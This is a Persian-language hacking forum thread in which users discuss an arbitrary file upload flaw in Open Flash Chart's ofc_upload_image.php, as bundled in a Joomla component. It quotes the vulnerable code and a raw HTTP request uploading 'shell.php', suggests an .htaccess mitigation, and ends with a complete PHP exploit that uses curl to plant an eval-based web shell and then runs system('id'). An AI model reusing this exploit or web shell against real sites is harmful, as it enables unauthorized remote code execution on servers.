نمایش نتایج: از شماره 1 تا 13 , از مجموع 13
  1. #1
    تاریخ عضویت
    Jul 2006
    محل سکونت
    www.shabgard.org
    نوشته ها
    1,778
    تشکر از ارسال
    580
    Thanked 48 Times in 27 Posts

    پچ کردن باگ در یه فایل php

    سلام دوستان این فایل php ظاهرا باگ داره چطور می شه پچش کرد ؟

    کد PHP:
    <?php

    //
    // In Open Flash Chart -> save_image debug mode, you
    // will see the 'echo' text in a new window.
    //

    /*
     
    print_r( $_GET );
    print_r( $_POST );
    print_r( $_FILES );

    print_r( $GLOBALS );
    print_r( $GLOBALS["HTTP_RAW_POST_DATA"] );

    */


    // default path for the image to be stored //
    $default_path '../tmp-upload-images/';

    if (!
    file_exists($default_path)) mkdir($default_path0777true);

    // full path to the saved image including filename //
    $destination $default_path basename$_GET'name' ] ); 

    echo 
    'Saving your image to: '$destination;
    // print_r( $_POST );
    // print_r( $_SERVER );
    // echo $HTTP_RAW_POST_DATA;

    //
    // POST data is usually string data, but we are passing a RAW .png
    // so PHP is a bit confused and $_POST is empty. But it has saved
    // the raw bits into $HTTP_RAW_POST_DATA
    //

    $jfh fopen($destination'w') or die("can't open file");
    fwrite($jfh$HTTP_RAW_POST_DATA);
    fclose($jfh);

    //
    // LOOK:
    //
    exit();


    //
    // PHP5:
    //


    // default path for the image to be stored //
    $default_path 'tmp-upload-images/';

    if (!
    file_exists($default_path)) mkdir($default_path0777true);

    // full path to the saved image including filename //
    $destination $default_path basename$_FILES'Filedata' ][ 'name' ] ); 

    // move the image into the specified directory //
    if (move_uploaded_file($_FILES'Filedata' ][ 'tmp_name' ], $destination)) {
        echo 
    "The file " basename$_FILES'Filedata' ][ 'name' ] ) . " has been uploaded;";
    } else {
        echo 
    "FILE UPLOAD FAILED";
    }
    ?>


    فرزند هنر باش نه فرزند پدر که هنر زنده کند نام پدر

  2. #2
    تاریخ عضویت
    Jul 2007
    محل سکونت
    فعلاً زمین
    نوشته ها
    800
    تشکر از ارسال
    307
    Thanked 110 Times in 57 Posts
    جابر چقدر مطمئن هستی که باگ داره ؟
    به نظر مشکلی نداره ، اگر هم بوده از variable : HTTP_RAW_POST_DATA بوده که در حال حاضر از جایی مقدار دهی نشده .

  3. 2کاربر از ViR-EnG به علت ارسالش تشکر کردند.

    FixXxer (11-16-2013),jaber (11-16-2013)

  4. #3
    تاریخ عضویت
    Aug 2012
    محل سکونت
    Vietnam
    نوشته ها
    15
    تشکر از ارسال
    78
    Thanked 10 Times in 9 Posts
    ظاهرا این باگ نداره .. شاید فایل های دیگه باشن..
    ویرایش توسط FixXxer : 11-16-2013 در ساعت 07:38 AM

  5. کاربر زیر از FixXxer به علت ارسالش ابراز تشکر کرد.

    jaber (11-16-2013)

  6. #4
    تاریخ عضویت
    Sep 2008
    نوشته ها
    72
    تشکر از ارسال
    215
    Thanked 123 Times in 52 Posts
    سلام.
    بله.باگ داره :

    $jfh = fopen($destination, 'w') or die("can't open file");
    fwrite($jfh, $HTTP_RAW_POST_DATA);
    fclose($jfh);
    مجوز write داده شده.
    قسمتی که فایل اضافه می شه :
    $default_path = 'tmp-upload-images/';

    این هم می گه اگه 777 بود این فایل اضافه بشه :

    if (!file_exists($default_path)) mkdir($default_path, 0777, true);

    و با مشخصات Filedata' ][ 'name'

    موفق باشید.
    Islamic Republic Of Iran Security Team

    سايت: http://IrIsT.Ir & تالار گفتمان : http://IrIsT.Ir/forum

    ----------------------------------------------
    Iranian Exploit DataBase :

    سايت: http://iedb.Ir & تالار گفتمان : http://iedb.ir/acc

  7. 2کاربر از IrIsT به علت ارسالش تشکر کردند.

    FixXxer (11-16-2013),jaber (11-16-2013)

  8. #5
    تاریخ عضویت
    Aug 2012
    محل سکونت
    Vietnam
    نوشته ها
    15
    تشکر از ارسال
    78
    Thanked 10 Times in 9 Posts
    خوب این که باگ نیست ...
    HTTP_ROW_POST_DATA که دیتا رو به صورت ROW میکنه و بعد هم تو یک فایل ذخیره میشه ..
    البته بستگی داره به اینکه چطوری فایل رو بررسی کنه ..
    اینم بگم اگه حتی به خوبی هم فایل رو بررسی کنه و ما یک فایل gif - jpg .. بریزیم میتونیم یه کد دسترسی php بریزیم و بعد هم با یک باگ ترکیبی LFI اون فایل رو با PHP باز کنیم..
    ین هم می گه اگه 777 بود این فایل اضافه بشه :

    if (!file_exists($default_path)) mkdir($default_path, 0777, true);
    این که بررسی میکنه اگر دایرکتوری وجود نداشت اون رو با پرمیشن 777 بسازه...
    ویرایش توسط FixXxer : 11-16-2013 در ساعت 07:55 AM

  9. 2کاربر از FixXxer به علت ارسالش تشکر کردند.

    IrIsT (11-16-2013),jaber (11-16-2013)

  10. #6
    تاریخ عضویت
    Sep 2008
    نوشته ها
    72
    تشکر از ارسال
    215
    Thanked 123 Times in 52 Posts
    سلام.
    FixXxer عزیز,کاملا حرفت درسته.آخرین حرفم اشتباه نوشتاری داشتم.اما وقتی که اجازه آپلود می ده و اینکه بدون چک کردن می ذاره هر فایلی رو که بخوایم اضافه کنیم و همچنین خودش میاد مکان ذخیره کردن هم درست می کنه,یک باگ - آسیب پذیری - مشکل امنیتی و ... هستش.
    وقتی که بیاد مثل آپلود سنتر ها مجوز بندی کنی و ورودی رو چک کنه,دیگه نمی شه گفت آسیب پذیری.
    این آسیب پذیری چند مدته خیلی کاربرد داره و هموجور باعث هک شدن سایت و سرور ها می شه.
    Islamic Republic Of Iran Security Team

    سايت: http://IrIsT.Ir & تالار گفتمان : http://IrIsT.Ir/forum

    ----------------------------------------------
    Iranian Exploit DataBase :

    سايت: http://iedb.Ir & تالار گفتمان : http://iedb.ir/acc

  11. 2کاربر از IrIsT به علت ارسالش تشکر کردند.

    FixXxer (11-17-2013),jaber (11-16-2013)

  12. #7
    تاریخ عضویت
    Jul 2007
    محل سکونت
    فعلاً زمین
    نوشته ها
    800
    تشکر از ارسال
    307
    Thanked 110 Times in 57 Posts
    در اینجا ، از آنجایی که Header از کاربر گرفته نمی شود ، مشکلی امنیتی ندارد ! (این قسمت از اسکریپت قبلاً پچ شده - به عبارتی قبلاً صورت مسئله عوض شده)

    پ.ن:
    تنها درصورتی که HTTP_RAW_POST_DATA بصورت Global مقدار دهی بشه ، مشکل امنیتی داره و از طریق Header درخواست امکان آپلود شل وجود دارد

    نمونه درخواست آلوده به شل :
    کد PHP:
    $pckt  "POST /ofc_upload_image.php?name=shell.php HTTP/1.1\r\n";
    $pckt .= "Host: {$host}\r\n";
    $pckt .= "Content-Length: ".strlen($ENCODED_SHELL_DATA)."\r\n\r\n{$ENCODED_SHELL_DATA}";

    fputs($sock$pckt); 
    ویرایش توسط ViR-EnG : 11-16-2013 در ساعت 10:03 AM

  13. 2کاربر از ViR-EnG به علت ارسالش تشکر کردند.

    IrIsT (11-16-2013),jaber (11-16-2013)

  14. #8
    تاریخ عضویت
    Jan 2011
    محل سکونت
    اصفهان
    نوشته ها
    228
    تشکر از ارسال
    882
    Thanked 352 Times in 115 Posts
    HTTP_RAW_POST_DATA ماله php <5 هست از ورژن ۵ به بعد شد _POST و _FILES توی این کد از جفتش استفاده شده که روی هر ورژنی کار کنه !!
    اسیب پذیری هم که داره اینکه هر فایلی میشه آپلود کرد !

    بعضي وقتا شريک تمام خاطراتت فقط يه شماره ى خاموشه

  15. 3کاربر از r3d.w0rm به علت ارسالش تشکر کردند.

    IrIsT (11-17-2013),jaber (11-17-2013),PersianStar (11-17-2013)

  16. #9
    تاریخ عضویت
    Jul 2007
    محل سکونت
    فعلاً زمین
    نوشته ها
    800
    تشکر از ارسال
    307
    Thanked 110 Times in 57 Posts
    توی خط 47 با Exit از ادامه کار اسکریپت جلوگیری شده .

  17. 2کاربر از ViR-EnG به علت ارسالش تشکر کردند.

    IrIsT (11-17-2013),jaber (11-17-2013)

  18. #10
    تاریخ عضویت
    Sep 2008
    نوشته ها
    72
    تشکر از ارسال
    215
    Thanked 123 Times in 52 Posts
    سلام و درود.
    نظرات همه دوستان قابل احترام,اما
    چرا میگین باگ نداره؟خوب من به صورت خط به خط بهتون گفتم.گفتم که این باگ داره هموجور ( لهجه مشهدی ) باگ می ده و خیلی از سایت های اینطوری نفوذ شده و می شه.
    آقا اینو همین الان عکس گرفتم :

    http://www.iedb.ir/Amir.JPG
    http://www.iedb.ir/Amir2.JPG

    وقت نداشتم وگرنه فیلم هم می گرفتم.اما گویا هستش.
    Islamic Republic Of Iran Security Team

    سايت: http://IrIsT.Ir & تالار گفتمان : http://IrIsT.Ir/forum

    ----------------------------------------------
    Iranian Exploit DataBase :

    سايت: http://iedb.Ir & تالار گفتمان : http://iedb.ir/acc

  19. کاربر زیر از IrIsT به علت ارسالش ابراز تشکر کرد.

    jaber (11-17-2013)

  20. #11
    تاریخ عضویت
    May 2006
    محل سکونت
    Neverland
    نوشته ها
    346
    تشکر از ارسال
    277
    Thanked 25 Times in 13 Posts
    شما تونستید که یک فایل بجز تصویر آپلود کنید و باهاش کار کنید، در سورس هیچ قسمتی برای اینکه فایل بررسی بشه وجود نداره و شما از هیچ چیزی سوءاستفاده نکردید، به همین دلیل گفتن باگ نمیشه گفت بهش
    اما حرف شما هم درست هست، میشه همه چیز باهاش آپلود کرد اما برای یک سیستم آپلودر که قرار بوده بشه باهاش همه چیز آپلود کرد این باگ محسوب نمیشه.
    این مورد شما ممکنه توسط وب سرور جلوش گرفته بشه(htaccess):

    کد:
    php_flag engine 0
    RemoveHandler .phtml .php .php3 .php4 .php5 .php6 .phps .cgi .exe .pl .asp .aspx .shtml .shtm .fcgi .fpl .jsp .htm .html .wml
    AddType application/x-httpd-php-source .phtml .php .php3 .php4 .php5 .php6 .phps .cgi .exe .pl .asp .aspx .shtml .shtm .fcgi .fpl .jsp .htm .html .wml
    ویرایش توسط PersianStar : 11-17-2013 در ساعت 04:02 AM


  21. 4کاربر از PersianStar به علت ارسالش تشکر کردند.

    IrIsT (11-17-2013),jaber (11-17-2013),net (11-17-2013),t3rr0r1st (11-17-2013)

  22. #12
    تاریخ عضویت
    Sep 2008
    نوشته ها
    72
    تشکر از ارسال
    215
    Thanked 123 Times in 52 Posts
    سلام.
    PersianStar عزیز,من دقیقا همین حرفتو بالا زدم :

    سلام.
    FixXxer عزیز,کاملا حرفت درسته.آخرین حرفم اشتباه نوشتاری داشتم.اما وقتی که اجازه آپلود می ده و اینکه بدون چک کردن می ذاره هر فایلی رو که بخوایم اضافه کنیم و همچنین خودش میاد مکان ذخیره کردن هم درست می کنه,یک باگ - آسیب پذیری - مشکل امنیتی و ... هستش.
    وقتی که بیاد مثل آپلود سنتر ها مجوز بندی کنی و ورودی رو چک کنه,دیگه نمی شه گفت آسیب پذیری.
    این آسیب پذیری چند مدته خیلی کاربرد داره و هموجور باعث هک شدن سایت و سرور ها می شه.
    در مورد جلوگیری از این هم که به قول خودتون هم با htaccess می شه,هم اینکه می شه یک خط بهش اضافه کرد که دسترسی رو گرفت.همچنین مجوز کپی فایل رو هم بگیرین تمومه.
    Islamic Republic Of Iran Security Team

    سايت: http://IrIsT.Ir & تالار گفتمان : http://IrIsT.Ir/forum

    ----------------------------------------------
    Iranian Exploit DataBase :

    سايت: http://iedb.Ir & تالار گفتمان : http://iedb.ir/acc

  23. #13
    تاریخ عضویت
    Jul 2006
    محل سکونت
    www.shabgard.org
    نوشته ها
    1,778
    تشکر از ارسال
    580
    Thanked 48 Times in 27 Posts
    بله فایل باگ داره این فایل مربوط به یکی از پلاگین های openChart است کخیلی راحت می تونن شل اسکریپت یا فایل php و ... آپلود کنند !!!!

    اینم از اکسپلویتش

    کد PHP:
    <?php

    echo <<<EOT

    EOT;


    $options getopt('u:f:');

    if(!isset(
    $options['u'], $options['f']))
    die(
    "\n        Usage example: php IDC.php -u http://target.com/ -f 
    IDC.php\n
    -u http://target.com/    The full path to Joomla!
    -f IDC.php             The name of the file to create.\n"
    );

    $url     =  $options['u'];
    $file    =  $options['f'];


    $shell 
    "http://www.example.com//components/com_joomleague/assets/classes//tmp-upload-images/{$file}";
    $url   
    "http://www.example.com//components/com_joomleague/assets/classes/open-flash-chart/ofc_upload_image.php?name={$file}";

    $data      "<?php eval(\$_GET['cmd']); ?>";
    $headers = array('User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64;
    rv:15.0) Gecko/20100101 Firefox/15.0.1'
    ,
    'Content-Type: text/plain');


    echo 
    "        [+] Submitting request to: {$options['u']}\n";


    $handle curl_init();

    curl_setopt($handleCURLOPT_URL$url);
    curl_setopt($handleCURLOPT_HTTPHEADER$headers);
    curl_setopt($handleCURLOPT_POSTFIELDS$data);
    curl_setopt($handleCURLOPT_RETURNTRANSFERtrue);

    $source curl_exec($handle);
    curl_close($handle);


    if(!
    strpos($source'Undefined variable: HTTP_RAW_POST_DATA') &&
    @
    fopen($shell'r'))
    {
    echo 
    "        [+] Exploit completed successfully!\n";
    echo 
    "        ______________________________________________\n\n
     
    {$shell}?cmd=system('id');\n";
    }
    else
    {
    die(
    "        [+] Exploit was unsuccessful.\n");
    }

    ?>
    ویرایش توسط jaber : 11-17-2013 در ساعت 02:15 PM


    فرزند هنر باش نه فرزند پدر که هنر زنده کند نام پدر

  24. 3کاربر از jaber به علت ارسالش تشکر کردند.

    4shir (11-19-2013),Encoder (11-20-2013),IrIsT (11-17-2013)

 

 

مجوز های ارسال و ویرایش

  • شما نمیتوانید موضوع جدیدی ارسال کنید
  • شما امکان ارسال پاسخ را ندارید
  • شما نمیتوانید فایل پیوست کنید.
  • شما نمیتوانید پست های خود را ویرایش کنید
  •